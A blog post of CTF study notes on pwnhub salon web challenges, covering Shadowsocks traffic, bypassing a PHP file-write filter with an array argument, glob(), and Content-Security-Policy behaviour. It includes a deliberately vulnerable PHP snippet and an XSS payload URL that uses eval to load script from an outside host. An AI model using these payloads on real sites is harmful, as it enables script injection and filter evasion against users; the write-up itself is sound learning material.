pwnhub沙龙Web题目学习

看了大佬们的解决思路,和大佬们的差距还是很大,也学习了很多。
Ph师傅的Pwnhub 第一次线下沙龙竞赛Web题解析、L3mon的pwnhub沙龙web两则

国家保卫者

ss

这道题目首先考察了wireshark分析数据包以及ss的加密的知识点,两者平时研究得都很少,就记录一下本题考察的知识点。

  1. ss默认使用的是8838端口
  2. 默认加密算法是aes-256-cfb,解密需要密码

file_put_contents()

看file_put_contents()文档发现:

其第二个参数允许传入一个数组。当第二个参数为数组时,会将数组中的值连接成字符串再进行写入,相当于join()拼接的功能。
file_put_contents的这种特性,在实战中或许能够绕过基于文件内容的WAF。如下:

<?php
$text = $_GET['text'];
if(preg_match('[<>?]', $text)) {
    die('error!');
}
file_put_contents('config.php', $text);

text如果是一个数组,就可以绕过上面的检测。

glob()

scandir()的功能类似,都是用于显示文件。但是glob()的功能更为强大,可以按照规则查找指定文件。如下:

<?php
foreach (glob("*.txt") as $filename) {
    echo "$filename size " . filesize($filename) . "\n";
}
?>

本题也是通过glob()函数才发现需要通过show_flag()函数获取flag。

改行做前端

CSP的配置

是一道XSS的题目,涉及到CSP,完全是知识盲区,记录一下本题考察的知识点。题目中的CSP配置如下:

Content-Security-Policy:default-src 'self' https://*.cloudflare.com https://*.googleapis.com https://*.gstatic.com; script-src 'self' 'unsafe-inline' 'unsafe-eval' https://*.cloudflare.com https://*.googleapis.com https://*.gstatic.com; style-src 'self' 'unsafe-inline' https://*.cloudflare.com https://*.googleapis.com https://*.gstatic.com; report-uri /report

default-src的配置为'self' https://*.cloudflare.com https://*.googleapis.com https://*.gstatic.com, 定义针对所有类型(js、image、css、web font,ajax 请求,iframe,多媒体等)资源的默认加载策略,某类型资源如果没有单独定义策略,就使用默认的。所以此配置就是允许自身网站、cloudflare.com、googleapis.com、gstatic.com记载资源。
script-src的配置为'self' 'unsafe-inline' 'unsafe-eval' (后面三个省略了),定义针对 JavaScript 的加载策略。其中unsafe-inline表示可以执行内联的JS代码。unsafe-eval表示页面上允许使用new Function,setTimeout,eval等方式执行动态代码。
举例说明情况:
testcsp.index的代码如下:

<?php
header("Content-Security-Policy:script-src 'self'");
?>
<html>
<script src='1.js'></script>
<script src='https://maxcdn.bootstrapcdn.com/bootstrap/3.3.7/js/bootstrap.min.js'></script>
<style>
    h3 {
        color:red;
    }
</style>

    <body>
        <h3 id='myhead'>Content Security Policy Demo Site</h3>
    </body>
    <script>
        var myhead = document.getElementById('myhead');
        myhead.addEventListener('click',function() {
            alert(1);
        });
    </script>
</html>

script-src 'self',表示仅仅只能加载自身JS代码同时不执行内联JS代码,但是在html中通过src引入了bootstrapcdn.com的JS,同时也存在点击事件,最终结果如下:

无法引入,同时点击事件也无法触发。

当CSP配置为header("Content-Security-Policy:script-src 'self' 'unsafe-inline'");时内联JS可以正常执行。

report-uri /report

report-uri是CSP中的一个功能,当CSP规则被触发时,将会向report-uri指向的地址发送一个数据包。其设计目的是让开发者知道有哪些页面可能违反CSP,然后去改进它。
例如,在本题目中访问链接http://54.222.168.105:8065/?error=email%E9%94%99%E8%AF%AF%3C/script%3E%3Cscript%3E1%3C(br=1)*/%0deval(location.hash.substr(1))%3C/script%3E#$.getScript('http://mhz.pw'),由于http://mhz.pw不在配置选项中,触发了report-url的规则。

因为在本题中report-url存在SQL注入漏洞,导致最后可以得到管理员的密码拿到flag。

Chrome XSS Auditor绕过

这个没有认真研究,可以看Ph的文章浏览器安全一 / Chrome XSS Auditor bypass

posted @ 2017-08-14 21:16  babers  阅读(487)  评论(0)    收藏  举报